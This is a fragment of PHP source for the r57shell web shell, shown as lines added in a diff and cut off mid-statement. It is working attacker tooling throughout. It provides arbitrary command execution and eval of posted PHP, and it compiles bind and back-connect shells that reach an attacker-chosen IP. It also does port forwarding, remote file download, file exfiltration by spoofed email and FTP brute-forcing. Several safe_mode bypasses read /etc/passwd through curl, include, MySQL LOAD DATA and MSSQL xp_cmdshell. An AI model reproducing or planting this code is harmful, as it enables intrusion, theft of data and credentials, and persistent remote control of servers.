+echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); +echo ws(2); +echo "PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } +echo ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>".ws(2); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); +echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; +if(!$windows){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +$uname = ex('uname -a'); +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +if(!$safe_mode){ +$bsd1 = ex('sysctl -n kern.ostype'); +$bsd2 = ex('sysctl -n kern.osrelease'); +$lin1 = ex('sysctl -n kernel.ostype'); +$lin2 = ex('sysctl -n kernel.osrelease'); +} +if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } +else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } +else { $sysctl = "-"; } +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +$id = ex('id'); +echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@get_current_user()."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +$f = '<br>'; +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n"); + mr($language,$res); + $_POST['cmd']=""; + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + mr($language,$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + @fwrite($file,$_POST['e_text']); + @touch($_POST['e_name'],$mtime,$mtime); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if($windows){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'safe_file': + if(@is_file($_POST['file'])) + { + $file = @file($_POST['file']); + if($file) + { + $c = @sizeof($file); + for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } + } + else echo $lang[$language._text29]; + } + else echo $lang[$language._text31]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; + @mysql_query($sql); + $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; + @mysql_query($sql); + $sql = "SELECT * FROM temp_r57_table;"; + $r = @mysql_query($sql); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'test5': + if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail'); + $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail"; + @mb_send_mail(NULL, NULL, NULL, NULL, $extra); + $lines = file ('/tmp/mb_send_mail'); + foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; } + break; + case 'test6': + $stream = @imap_open('/etc/passwd', "", ""); + $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); + for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n"; + @imap_close($stream); + break; + case 'test7': + $stream = @imap_open($_POST['test7_file'], "", ""); + $str = @imap_body($stream, 1); + echo $str; + @imap_close($stream); + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ + $cmd_rep = ex($_POST['cmd']); + if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse'])) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } + else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } + else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } + else { + if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } + else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); } + else { echo "[-] ERROR! Can't write in dump file"; } + } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +function up_down($id) + { + global $lang; + global $language; + return '&nbsp<img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="'.$lang[$language.'_text109'].'"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="'.$lang[$language.'_text110'].'">'; + } +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } +if(!$safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text777'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text888'].$arrow."</b>",in('text','u1p',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text7777'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text8888'].$arrow."</b>",in('text','Mohajer22',85,'/etc/passwd').in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text999'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text9999'].$arrow."</b>","<select name=switch><option value=file>View file</option><option value=dir>View dir</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','string',60,(($_POST['string'])?($_POST['string']):("/etc/passwd"))).ws(2)."<b>".in('hidden','cmd',0,'view_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text1010'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text101010'].$arrow."</b>","<select name=plugin><option>cat /etc/passwd</option><option>/bin/ls</option><option>tempnam</option><option>/tmp</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):(""))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):(""))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te.'</div>'.$table_end1.$fe; + +if($safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode){ +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font; +echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts; +echo 